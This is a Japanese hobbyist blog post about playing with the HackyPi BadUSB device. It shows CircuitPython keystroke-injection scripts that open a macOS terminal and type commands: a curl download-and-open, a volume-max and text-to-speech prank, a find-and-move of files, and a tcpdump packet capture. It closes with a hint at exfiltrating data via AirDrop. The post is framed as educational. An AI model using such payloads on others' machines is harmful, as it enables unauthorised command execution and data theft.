HackyPiで遊んでみるの巻_2

前回はHackyPiのセットアップと動作確認までをやった、
今回は、その後も色々遊んでみたコード集。
(アップロード制限がかかってるので結果は各々の目で確かめて欲しい)
- [前回の記事](https://qiita.com/pokurin123/items/992533a6909a1225ce7a)
:::note warn
この記事で紹介する方法は、教育目的や研究目的でのみ使用してください。不正な目的で使用する場合、著作権法や不正アクセス禁止法などの法律に違反する可能性があります
:::
# ネット上からファイルをダウンロードしてみる
[Wikipediaのオオウナギの記事](https://ja.wikipedia.org/wiki/%E3%82%AA%E3%82%AA%E3%82%A6%E3%83%8A%E3%82%AE)からオオウナギの画像を取ってきて開く。
(悪意のあるファイルも取れちゃうので危険)
```python:取ってくるくん
import time
import os
import usb_hid
import board
import terminalio
from adafruit_hid.keyboard import Keyboard, Keycode
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS

try:    
    keyboard = Keyboard(usb_hid.devices)
    keyboard_layout = KeyboardLayoutUS(keyboard) 
    time.sleep(1)
    keyboard.send(Keycode.COMMAND, Keycode.SPACE)
    time.sleep(0.3)
    keyboard_layout.write('terminal')
    time.sleep(1)
    keyboard.send(Keycode.ENTER)
    time.sleep(0.3)
    keyboard_layout.write('curl -O "https://upload.wikimedia.org/wikipedia/commons/1/1c/An_Anguilla_marmorata_at_National_Tsing_Hua_University.jpg" && open An_Anguilla_marmorata_at_National_Tsing_Hua_University.jpg')
    time.sleep(0.3)
    keyboard.send(Keycode.ENTER)
except Exception as ex:
    keyboard.release_all()
    raise ex

time.sleep(1)
```
# 演説をさせてみる
そういえばTELNETで有名な例の電子公告も、URLを指定するとそこからテキストファイルを取ってきて演説するシステムでしたね。
```python:演説くん
import time
import os
import usb_hid
import board
import terminalio
from adafruit_hid.keyboard import Keyboard, Keycode
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS

try:    
    keyboard = Keyboard(usb_hid.devices)
    keyboard_layout = KeyboardLayoutUS(keyboard) 
    time.sleep(1)
    keyboard.send(Keycode.COMMAND, Keycode.SPACE)
    time.sleep(0.3)
    keyboard_layout.write('terminal')
    time.sleep(1)
    keyboard.send(Keycode.ENTER)
    time.sleep(0.3)
    keyboard_layout.write('osascript -e "set volume output volume (output volume of (get volume settings) + 999)"')
    time.sleep(0.3)
    keyboard.send(Keycode.ENTER)
    time.sleep(0.3)
    keyboard_layout.write('curl -s http://www.test.jp/1.html | say')
    time.sleep(0.3)
    keyboard.send(Keycode.ENTER)
except KeyboardInterrupt:
    keyboard.release_all()
    pass
```
ついでに
```python:GOOD USB
import time
import os
import usb_hid
import board
import terminalio
from adafruit_hid.keyboard import Keyboard, Keycode
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS

try:    
    keyboard = Keyboard(usb_hid.devices)
    keyboard_layout = KeyboardLayoutUS(keyboard) 
    time.sleep(1)
    keyboard.send(Keycode.COMMAND, Keycode.SPACE)
    time.sleep(0.3)
    keyboard_layout.write('terminal')
    time.sleep(1)
    keyboard.send(Keycode.ENTER)
    time.sleep(0.3)
    keyboard_layout.write('osascript -e "set volume output volume (output volume of (get volume settings) + 999)"')
    time.sleep(0.3)
    keyboard.send(Keycode.ENTER)
    time.sleep(0.3)
    keyboard_layout.write('echo "ぼく悪いUSBじゃないよ" | say')
    time.sleep(0.3)
    keyboard.send(Keycode.ENTER)
except KeyboardInterrupt:
    keyboard.release_all()
    pass
```
# 特定のファイルを移動させる
ウナギを罠に入れてみる
```python:
import time
import os
import usb_hid
import board
import terminalio
from adafruit_hid.keyboard import Keyboard, Keycode
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS

try:    
    keyboard = Keyboard(usb_hid.devices)
    keyboard_layout = KeyboardLayoutUS(keyboard) 
    time.sleep(1)
    keyboard.send(Keycode.COMMAND, Keycode.SPACE)
    time.sleep(0.3)
    keyboard_layout.write('terminal')
    time.sleep(1)
    keyboard.send(Keycode.ENTER)
    time.sleep(0.3)
    keyboard_layout.write('cd')
    time.sleep(0.3)
    keyboard.send(Keycode.ENTER)
    time.sleep(0.3)
    keyboard_layout.write('find . -name "*unagi*" -exec mv {} ~/not_unagi_trap \;')
    time.sleep(0.3)
    keyboard.send(Keycode.ENTER)
except KeyboardInterrupt:
    keyboard.release_all()
    pass
```
# パケットキャプチャしてみる
昔どこかのカンファレンスで、平文で暗号を流してるからキャプチャして解いてみてねってイベントがあったのを思い出した
```python:
import time
import os
import usb_hid
import board
import terminalio
from adafruit_hid.keyboard import Keyboard, Keycode
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS

try:    
    keyboard = Keyboard(usb_hid.devices)
    keyboard_layout = KeyboardLayoutUS(keyboard) 
    time.sleep(1)
    keyboard.send(Keycode.COMMAND, Keycode.SPACE)
    time.sleep(0.3)
    keyboard_layout.write('terminal')
    time.sleep(1)
    keyboard.send(Keycode.ENTER)
    time.sleep(0.3)
    keyboard.send(Keycode.ENTER)
    time.sleep(0.3)
    keyboard_layout.write('tcpdump -ni wlan0 -w tcpdump.txt')
    time.sleep(0.3)
    keyboard.send(Keycode.ENTER)
except KeyboardInterrupt:
    keyboard.release_all()
    pass
```
# 終わりに
基本的にコマンドライン上で出来る事は何でも出来る、正統派学習用BADUSB。
それに加えてマウスカーソルの操作も出来るため、一般的な普段使い用のPCなら権限周りは余裕で飛び越えちゃうなあという印象。
ここでは記載しないが、色々なものを圧縮してairdropでゴニョゴニョしてみたり出来てしまう。
学習用にBADUSB自作はよく聞く話だけど、HackyPiももう少し有名だったらflipper zeroみたいに輸入不可になっていたかもしれない。(今は日本も解禁されたが)